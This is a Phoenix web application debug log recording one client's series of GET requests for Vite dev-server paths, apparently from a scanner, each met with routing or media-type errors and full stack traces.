[Sat Sep  5 01:59:12.832000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33676] Sent 200 in 1ms
[Sat Sep  5 01:59:12.874000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33678] GET /
[Sat Sep  5 01:59:12.874000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:33678] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "e0248407a1828b65"}
  Pipelines: [:browser]
[Sat Sep  5 01:59:12.886000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33678] Sent 406 in 12ms
[Sat Sep  5 01:59:12.887000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33678] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "text/x-vite-ping" with extensions: []

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.079000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40048] GET /@vite/client
[Sat Sep  5 01:59:13.131000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40076] GET /@vite/env
[Sat Sep  5 01:59:13.164000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40048] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.178000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40076] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.240000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40084] GET /@vite/client.js
[Sat Sep  5 01:59:13.263000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40084] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.283000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40094] GET /@vite/client.mjs
[Sat Sep  5 01:59:13.285000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33676] GET /__vitesweep_ping_control_e0248407a1828b65
[Sat Sep  5 01:59:13.315000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40094] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.326000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33676] ** (Phoenix.Router.NoRouteError) no route found for GET /__vitesweep_ping_control_e0248407a1828b65 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.419000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33688] GET /__vite_ping
[Sat Sep  5 01:59:13.450000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33688] ** (Phoenix.Router.NoRouteError) no route found for GET /__vite_ping (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.465000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40076] GET /bundledDevClient.mjs
[Sat Sep  5 01:59:13.497000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40076] ** (Phoenix.Router.NoRouteError) no route found for GET /bundledDevClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.614000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40084] GET /vite/client
[Sat Sep  5 01:59:13.641000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40084] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.680000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40094] GET /vite/client.js
[Sat Sep  5 01:59:13.715000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40094] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.757000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40048] GET /vite/client.mjs
[Sat Sep  5 01:59:13.799000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40048] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.808000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33676] GET /@vite/client
[Sat Sep  5 01:59:13.831000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33676] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.851000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33688] GET /@vite/env
[Sat Sep  5 01:59:13.852000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33698] GET /@vite/client.js
[Sat Sep  5 01:59:13.893000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33698] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.894000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33688] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.896000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28872] GET /
[Sat Sep  5 01:59:13.896000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:28872] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "b36e7feb34a68e7f"}
  Pipelines: [:browser]
[Sat Sep  5 01:59:13.897000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28872] Sent 200 in 930µs
[Sat Sep  5 01:59:13.898000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33706] GET /@vite/client.mjs
[Sat Sep  5 01:59:13.913000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:33706] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:13.939000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28874] GET /
[Sat Sep  5 01:59:13.939000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:28874] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "b36e7feb34a68e7f"}
  Pipelines: [:browser]
[Sat Sep  5 01:59:13.955000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28874] Sent 406 in 16ms
[Sat Sep  5 01:59:13.957000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28874] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "text/x-vite-ping" with extensions: []

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
